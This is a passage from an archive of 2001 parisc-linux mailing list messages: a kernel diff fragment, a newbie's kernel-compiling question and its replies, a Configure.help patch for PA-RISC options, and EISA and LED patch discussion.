 static void __init map_pages(unsigned long start_vaddr, unsigned long start_paddr, unsigned long size, pgprot_t pgprot)
 {
Index: include/asm-parisc/unistd.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/unistd.h,v
retrieving revision 1.22
diff -u -p -r1.22 unistd.h
--- unistd.h	2001/07/05 23:09:06	1.22
+++ unistd.h	2001/10/09 19:22:26
@@ -809,13 +809,8 @@ type name(type1 arg1, type2 arg2, type3 
     return K_INLINE_SYSCALL(name, 6, arg1, arg2, arg3, arg4, arg5, arg6);	\
 }
 
-#ifdef __KERNEL_SYSCALLS__
 
-static inline int idle(void)
-{
-	extern int sys_idle(void);
-	return sys_idle();
-}
+#ifdef __KERNEL_SYSCALLS__
 
 static inline int pause(void)
 {
@@ -859,6 +854,13 @@ static inline int dup(int fd)
 	return sys_dup(fd);
 }
 
+static inline int execve(char *filename, char * argv [],
+	char * envp[])
+{
+	extern int __execve(char *, char **, char **, struct task_struct *);
+	return __execve(filename, argv, envp, current);
+}
+
 static inline int open(const char *file, int flag, int mode)
 {
 	extern long sys_open(const char *, int, int);
@@ -891,15 +893,8 @@ static inline pid_t wait(int * wait_stat
 {
 	return sys_wait4(-1, wait_stat, 0, NULL);
 }

From - Thu Nov 08 21:19:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Markus_D=F6hr?= <doehrm@aubi.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Newbie on PA: Trying to compile kernel
Date: Tue, 9 Oct 2001 22:15:09 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <7B1EED0C5D58D411B73200508BDE77B2C53CA8@EXCHANGEB>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620593 27367 80.91.229.3 (22 Nov 2014 01:43:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:13 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  9 14:15:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imhotep.aubi.de (mail.aubi-online.de [62.159.82.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BABA4846
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Oct 2001 14:15:21 -0600 (MDT)
Original-Received: from exchangeb.aubi.de ([170.56.121.7])
	by imhotep.aubi.de (8.11.5/SUN/AUBI/8.9.3) with ESMTP id f99KFFn17312
	for <parisc-linux@lists.parisc-linux.org>; Tue, 9 Oct 2001 21:15:15 +0100 (WET DST)
Original-Received: by EXCHANGEB with Internet Mail Service (5.5.2653.19)
	id <TJAAN3Y3>; Tue, 9 Oct 2001 22:15:09 +0200
Return-Receipt-To: =?iso-8859-1?Q?Markus_D=F6hr?= <doehrm@aubi.de>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12542

I just installed 0.9.2 on a 712/60 and I'm happy linux'ing ;-)

However, when trying to compile a cvs checked-out kernel I'm always getting
ramdisk.bin not found. I searched the archives, found some notes on where to
find one but on the site specified there are no.

Here's my disk setup:

sda1  Boot   Primary   Linux/PA-RISC boot       24.68
sda2         Primary   Linux ext2             4096.19
sda3         Primary   Linux swap              172.74

I'm not sure if I even need one.

hppaubi:~# cat /etc/palo.conf
# obsolete with palo-0.94 # --bootloader=/boot/iplboot
--commandline=2/boot/vmlinux-2.4.0 root=/dev/sda2 HOME=/
--recoverykernel=/boot/vmlinux-2.4.0
--init-partitioned=/dev/sda

Can anyone please point me to the right direction?

Thanx a lot!


-- 
Markus Doehr            AUBI Baubschlaege GmbH
IT Admin/SAP R/3 Basis  Zum Grafenwald
fon: +49 6503 917 152   54411 Hermeskeil
fax: +49 6503 917 190   http://www.aubi.de 




From - Thu Nov 08 21:19:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Newbie on PA: Trying to compile kernel
Date: Tue, 09 Oct 2001 23:16:16 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <3BC36920.A41682BD@esiee.fr>
References: <7B1EED0C5D58D411B73200508BDE77B2C53CA8@EXCHANGEB>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620593 27382 80.91.229.3 (22 Nov 2014 01:43:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:13 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Markus =?iso-8859-1?Q?D=F6hr?= <doehrm@aubi.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  9 15:22:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C5814846
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Oct 2001 15:22:38 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 76EDCD15D8; Tue,  9 Oct 2001 23:22:31 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:12543

Hi Markus,
 
> I just installed 0.9.2 on a 712/60 and I'm happy linux'ing ;-)
Good to hear that! I hope you enjoy :)

> However, when trying to compile a cvs checked-out kernel I'm always getting
> ramdisk.bin not found. I searched the archives, found some notes on where to
> find one but on the site specified there are no.

First of all, a reminder about the CVS. You have all the infos about it
at 
 http://www.parisc-linux.org/tools/index.html#anoncvs

After, for the cross-compiling, you need to download the xc here
ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-latest.tgz

You untar the archive from the / and add the path in your $PATH
Something like that:
export PATH=/opt/palinux/bin:$PATH #for bash, of course

then you go in linux directory, you do make menuconfig with the good
choice.

then make dep vmlinux and you upload your kernel on the 712 via ftp.

Till you are not sure of your compiling talents, the good idea is to
copy the vmlinux file in /boot with a name
slightly different of the old one. like that you have in /boot
vmlinux-2.4.0 and vmlinux.2.4.0-new, for example.

At the boot time, you press escape to enter in BOOT_ADMIN and type boot
pri ipl and you modify the 0 entry to point
the good file! That's all.

If you want to know more, try 
http://mkhppa1.esiee.fr/parisc-linux-boot/parisc-linux-boot/index.html

Good luck, Thomas.
ESIEE Team




From - Thu Nov 08 21:19:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Final version of Configure.help
Date: Tue, 09 Oct 2001 23:36:16 +0200
Lines: 173
Approved: news@gmane.org
Message-ID: <3BC36DD0.42636C7@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------B1DF8C654DD6FAFEE25799A4"
X-Trace: ger.gmane.org 1416620593 27383 80.91.229.3 (22 Nov 2014 01:43:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:13 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  9 15:42:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id C762F4955
	for <parisc-linux@parisc-linux.org>; Tue,  9 Oct 2001 15:42:33 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP id 00181D15A6
	for <parisc-linux@parisc-linux.org>; Tue,  9 Oct 2001 23:42:31 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:12544

This is a multi-part message in MIME format.
--------------B1DF8C654DD6FAFEE25799A4
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,

	Here is the patch to update the help for make config. It is the result
of many advices given by a lot of people. 

Thank you, Thomas.

PS: Any comment is STILL possible :-)
--------------B1DF8C654DD6FAFEE25799A4
Content-Type: text/plain; charset=us-ascii;
 name="config.help.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="config.help.patch"

diff -Nru linux/Documentation/Configure.help linux.new/Documentation/Configure.help
--- linux/Documentation/Configure.help	Fri Aug 17 08:09:10 2001
+++ linux.new/Documentation/Configure.help	Tue Oct  9 23:17:55 2001
@@ -18525,6 +18525,143 @@
 
   To use this option, you have to check that the "/proc file system
   support" (CONFIG_PROC_FS) is enabled, too.
+
+Processor family
+CONFIG_PA7100
+  This is the processor type of your CPU. This information is used for
+  optimizing purposes. In order to compile a kernel that can run on
+  all 32-bit PA-RISC processors, you can specify PA7000 here.  If you
+  have a 64-bit machine, you may need to select PA8x00 here and say
+  'y' to '64-bit kernel' below.
+
+  The kernel will not necessarily run on earlier architectures than
+  the one you have chosen, e.g. a PA7200 optimised kernel will run on
+  a PA8000 cpu, but not a PA7000.
+
+  If you don't know what type of CPU you have, you can refer to the
+  Hardware Database at http://hwdb.parisc-linux.org/
+
+64-bit kernel
+CONFIG_PARISC64
+  Selecting this option will build a 64-bit kernel.  Some 64-bit machines
+  require a 64-bit kernel (eg L2000, A500) while other machines don't
+  have 64-bit firmware (eg C360, J200), so you may need to enable 32-bit
+  PDC below if you select this option.  Note that 64-bit userspace is
+  not yet supported but having a 64-bit kernel can improve some memory
+  operations like load, operate and store. Some applications (eg graphics) 
+  might benefit from that depending on what they are doing.
+
+GSC/Gecko bus support
+CONFIG_GSC
+  This option gives to the kernel the capability to manage GSC buses 
+  of HP computers. More than that, if you have systems with GSC slots, 
+  LASI, EISA or Dino (GSCtoPCI) bridge, this option is also compulsory 
+  if you want it working.
+
+LASI I/O support
+CONFIG_GSC_LASI
+  LASI is one type of controller embedded in HP workstations and 
+  servers. It controls some I/O devices like PS2 keyboard and mouse, 
+  audio or serial interface. The best advice is to keep it in your 
+  configuration, if you are not sure about that point.
+
+WAX support
+CONFIG_GSC_WAX
+  WAX is an EISA bus converter for PA-RISC systems. It can be found in
+  older systems like B/C/D/R-class machines. This option enables this 
+  converter. Note that it is under heavy development. Thus, it may not 
+  be working.
+
+GSCtoPCI/DINO PCI support
+CONFIG_GSC_DINO
+  By selecting this item, you add PCI support for Dino PCI Host Bus bridge.
+  PCI devices are sometimes embedded in GSC add-on cards (aka "card-mode 
+  Dino"). Note that only recent systems need it like B132L, C200. For more
+  information, go to http://hwdb.parisc-linux.org.
+
+LBA/Elroy PCI support
+CONFIG_PCI_LBA
+  Elroy is a bridge between Ropes bus and PCI on several machines. It can
+  be found on A500 and B/C/J/L/N-XXXX models. It allows the system to 
+  communicate with PCI cards. Thus, you should leave it on especially
+  if you have one of the listed HP machines. By default, say Y.
+
+SuperIO support
+CONFIG_SUPERIO
+  SuperIO is a chip that integrates a good part of I/O for the newest 
+  B/C/J-XXXX workstations. Serial, USB, IDE and Floppy are built in that
+  chip. That's why you must select it, if your box is corresponding to
+  those series. Please note that only the seriel support is working
+  at the moment.
+
+Chassis LCD and LED support
+CONFIG_CHASSIS_LCD_LED
+  HP boxes have LED or LCD indicator on the front in order to show some 
+  basic information like status for example. With this enabled, you can
+  have this help also available.
+
+Kernel support for SOM binaries
+CONFIG_BINFMT_SOM
+  SOM (Spectrum Object Model) is a format for libraries and executables 
+  used by HP. Saying Y here will enable your kernel to run SOM binaries.
+  As a result, you could run HP-UX executables. This capability is still
+  in development. Then, you use this functionality with no warranty!
+
+LASI/ASP builtin parallel-port
+CONFIG_PARPORT_GSC
+  If you have a LASI or ASP controller in your HP box and you want to use 
+  the parallel port, a good idea will be to keep this item in your
+  configuration.
+
+HP Lasi SCSI support
+CONFIG_SCSI_LASI700
+  If you have an old HP system like a 712, you should keep this on.
+  This will enable your SCSI controller and give you access to 
+  SCSI devices. For quite recent computers, you may be able to turn 
+  this off. 
+
+Lasi ethernet
+CONFIG_LASI_82596
+  This option adds the driver for one of most used network chips 
+  integrated in LASI chip. It is also known as Apricot driver. It is 
+  based on an Intel 82596 chip. If you do not know what is your 
+  hardware, it is strongly recommended to keep is on.
+
+Support for Lasi/Dino PS2 port
+CONFIG_GSC_PS2
+  The PS2 connector of the HP boxes looks like a standard PC connector.
+  If you want to use the PS2 keyboard and mouse, you must keep this on.
+  Anyway, some HP workstations and servers have this kind of interfaces
+  but not the ports you can plug in your devices. Thus, the best thing
+  to do anyway is to let this choice turned on.
+
+serial port on GSC support
+CONFIG_SERIAL_GSC
+  For most of the HP servers and for some workstations that do not have 
+  its video card supported yet, you will need to get the console output
+  via the serial port. As a result, you could interact with the box via
+  a VT or a serial cable link to another computer.
+
+STI console
+CONFIG_STI_CONSOLE
+  The Standard Text Interface could correspond to the VGA support for PC.
+  HP developped STI as a mechanism between CPU and graphics devices. 
+  Thus, if you want your console on your screen like any other PC linux
+  does, leave this option on.
+  If you do not have any success with your console output, we advice you
+  to check if you have checked the STI frame buffer option, aka 
+  CONFIG_FB_STI, in your configuration. Some models are happy when the 
+  two of them are enabled and some others prefer to have only this one 
+  only.
+  Anyway, if you failed to have the screen output, you can switch to the 
+  serial console output.
+
+PA Harmony audio driver
+CONFIG_SOUND_HARMONY
+  This option enables the audio part of the LASI controller. Since it is 
+  standard to all the boxes, this option should be set for any 
+  workstation except the newest ones. Servers do not really need audio. 
+  Then, you can unset it.
 
 #
 # A couple of things I keep forgetting:

--------------B1DF8C654DD6FAFEE25799A4--





From - Thu Nov 08 21:19:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Markus_D=F6hr?= <doehrm@aubi.de>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Newbie on PA: Trying to compile kernel
Date: Tue, 9 Oct 2001 23:51:47 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <7B1EED0C5D58D411B73200508BDE77B2C53CA9@EXCHANGEB>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620594 27642 80.91.229.3 (22 Nov 2014 01:43:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:14 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "'Thomas Marteau'" <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  9 15:52:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imhotep.aubi.de (mail.aubi-online.de [62.159.82.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F99548EA
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Oct 2001 15:52:00 -0600 (MDT)
Original-Received: from exchangeb.aubi.de ([170.56.121.7])
	by imhotep.aubi.de (8.11.5/SUN/AUBI/8.9.3) with ESMTP id f99Lprn17975;
	Tue, 9 Oct 2001 22:51:53 +0100 (WET DST)
Original-Received: by EXCHANGEB with Internet Mail Service (5.5.2653.19)
	id <TJAAN38R>; Tue, 9 Oct 2001 23:51:47 +0200
Return-Receipt-To: =?iso-8859-1?Q?Markus_D=F6hr?= <doehrm@aubi.de>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12545

Thanx for you quick answer!

> First of all, a reminder about the CVS. You have all the 
> infos about it
> at 
>  http://www.parisc-linux.org/tools/index.html#anoncvs

I have :-)

> After, for the cross-compiling, you need to download the xc here
> ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-l
atest.tgz

No, I'd like to do a native linux-kernel-on-linux compile.

I'm compiling kernels since 1.9.X (don't remember exactly) on INTEL and
Sparc, but never did on parisc. So I did the following:

hppaubi:/usr/src# export CVSROOT=`cat linux/CVS/Root `

hppaubi:/usr/src# echo $CVSROOT
:pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc

hppaubi:/usr/src# cvs -z5 co linux palo

The documents tell me to use either NFS or a RAMDISK in palo/Makefile and
_here's_ the problem (or the documents are outdated). I'll try the manual
approach and see what'll happen.


PS-OT: I wonder if SAP will port their application server to parisc/Linux...

-- 
Markus Doehr            AUBI Baubschlaege GmbH
IT Admin/SAP R/3 Basis  Zum Grafenwald
fon: +49 6503 917 152   54411 Hermeskeil
fax: +49 6503 917 190   http://www.aubi.de 




From - Thu Nov 08 21:19:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Newbie on PA: Trying to compile kernel
Date: Tue, 09 Oct 2001 23:55:20 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <3BC37248.8D97FE2C@esiee.fr>
References: <7B1EED0C5D58D411B73200508BDE77B2C53CA9@EXCHANGEB>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620594 27643 80.91.229.3 (22 Nov 2014 01:43:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:14 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Markus =?iso-8859-1?Q?D=F6hr?= <doehrm@aubi.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  9 16:01:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC4174964
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Oct 2001 16:01:37 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 8B043D15A6; Wed, 10 Oct 2001 00:01:35 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:12546

Hi again,
> 
> No, I'd like to do a native linux-kernel-on-linux compile.
Damn it, I did well but it was the stuff for you. I am sure it will help
some one else :-)

> I'm compiling kernels since 1.9.X (don't remember exactly) on INTEL and
> Sparc, but never did on parisc. So I did the following:
I hope you have time. Compiling with 712 is fun but long :(

> The documents tell me to use either NFS or a RAMDISK in palo/Makefile and
> _here's_ the problem (or the documents are outdated). I'll try the manual
> approach and see what'll happen.
These documents were written at a time when HDD were not so well
supported.
If you just want to update your kernel, you just do 
apt-get update
apt-get upgrade # in order to get the last gcc version

after that, you follow what I said about make menuconfig...

I tested this way of producing kernel a long time ago. I am sure it will
be ok.

FYI, the ramdisk or NFSroot is needed if you do a make palo but you do
only make vmlinux!

> PS-OT: I wonder if SAP will port their application server to parisc/Linux...
I really do not know. Perhaps, Helge Deller will know :)

Good Luck anyway, Thomas.
ESIEE Team




From - Thu Nov 08 21:19:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randall Craig <randall@tdl.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Newbie on PA: Trying to compile kernel
Date: Tue, 9 Oct 2001 16:33:44 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20011009163344.A4198@tdl.com>
References: <7B1EED0C5D58D411B73200508BDE77B2C53CA9@EXCHANGEB> <3BC37248.8D97FE2C@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620594 27647 80.91.229.3 (22 Nov 2014 01:43:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:14 +0000 (UTC)
Cc: Markus D?hr <doehrm@aubi.de>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  9 17:34:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tdl.com (tdl.com [206.180.224.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id C560D4972
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Oct 2001 17:33:51 -0600 (MDT)
Original-Received: (from randall@localhost)
	by tdl.com (8.9.3/8.9.3) id QAA04505;
	Tue, 9 Oct 2001 16:33:44 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BC37248.8D97FE2C@esiee.fr>; from marteaut@esiee.fr on Tue, Oct 09, 2001 at 11:55:20PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12547

> > PS-OT: I wonder if SAP will port their application server to parisc/Linux...
> I really do not know. Perhaps, Helge Deller will know :)


I would imagine, only until there is a real market demand for palinux, and if large distros
such as SuSE adopt palinux.  ... and of course when palinux becomes stable.




From - Thu Nov 08 21:19:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EISA support
Date: Wed, 10 Oct 2001 07:24:41 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620595 27655 80.91.229.3 (22 Nov 2014 01:43:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:15 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 00:24:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B105F4931
	for <parisc-linux@parisc-linux.org>; Wed, 10 Oct 2001 00:24:42 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15rCnJ-0001Ly-00
	for parisc-linux@parisc-linux.org; Wed, 10 Oct 2001 07:24:41 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12548

Anyone want to review a patch that makes EISA work?  I've only
tested it on a 715/75 with a Mongoose chip; but Wax is
supposed to be programmatically identical.  The patch is
18k, so rather than post it to the list, it's available from
ftp://puffin.external.hp.com/pub/parisc/src/eisa.diff

>From my boot log:

hp100: eth0: Shasta Chip detected. (This is a pre 802.12 chip)
hp100_probe: eth0: card at port 0x1c38 isn't known (id = 0x9019f022)

I seem to have chosen a not-quite-supported EISA card to test with.
The ID is plausible, so I don't think it's a byteswapping issue or
anything.

Here's a miniature Changelog:

 * I wrote a new eisa.c to replace the old wax_eisa.c.
 * To support it, I redid some of the config.in bits, which turned out
   to be a little more substantial once I read the docs.
 * I decided that to support old drivers, EISA port numbers should be
   between 0-0xffff, so I reserved bus number 0 for EISA.  This involved
   messing with inb/outb in pci.c.
 * While I was at it, I merged in support for PCI-less compiles (adding
   potential EISA-only configurations as an option).
 * Then I noticed the `next' pointer in struct pci_hba_data was now
   redundant, so I removed that, requiring minor changes to lba_pci.c
 * It might make sense for someone to compile a kernel with Dino, but without
   Lasi, so I made that work (not tested).
 * Then I tried to compile hp100.c, and needed to add the isa_* functions.
   Bah.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] /proc interface for LED/LCD
Date: Tue, 9 Oct 2001 22:58:19 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20011009225819.H653@tausq.org>
References: <20011006134250.I17735@tausq.org> <E15pzKV-0000ZU-00@gandalf.tausq.org> <20011006153445.J17735@tausq.org> <20011007065656.647FB4843@dsl2.external.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620595 27660 80.91.229.3 (22 Nov 2014 01:43:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 01:08:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15008493F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Oct 2001 01:08:12 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id djgaiaaa for parisc-linux@lists.parisc-linux.org; Wed, 10 Oct 2001 00:03:39 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15rCNn-0003MO-00; Tue, 09 Oct 2001 22:58:19 -0700
Content-Disposition: inline
In-Reply-To: <20011007065656.647FB4843@dsl2.external.hp.com>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12549

> Yes, I did. Unfortunately I mentioned inventory.c, but originally meant 
> firmware.c in my previous mail.

looks like there was another small fix needed for firmware.c. Please try
the latest one. It now works for me for both 64-bit and 32-bit kernels.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:19:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HPMC when doing sync on c3k (32 bit kernel)
Date: Tue, 9 Oct 2001 20:04:38 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <20011009200438.F653@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620595 27662 80.91.229.3 (22 Nov 2014 01:43:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 10 01:08:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 13C3A4946
	for <parisc-linux@lists.parisc-linux.org>; Wed, 10 Oct 2001 01:08:13 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id ijgaiaaa for parisc-linux@lists.parisc-linux.org; Wed, 10 Oct 2001 00:03:39 -0700
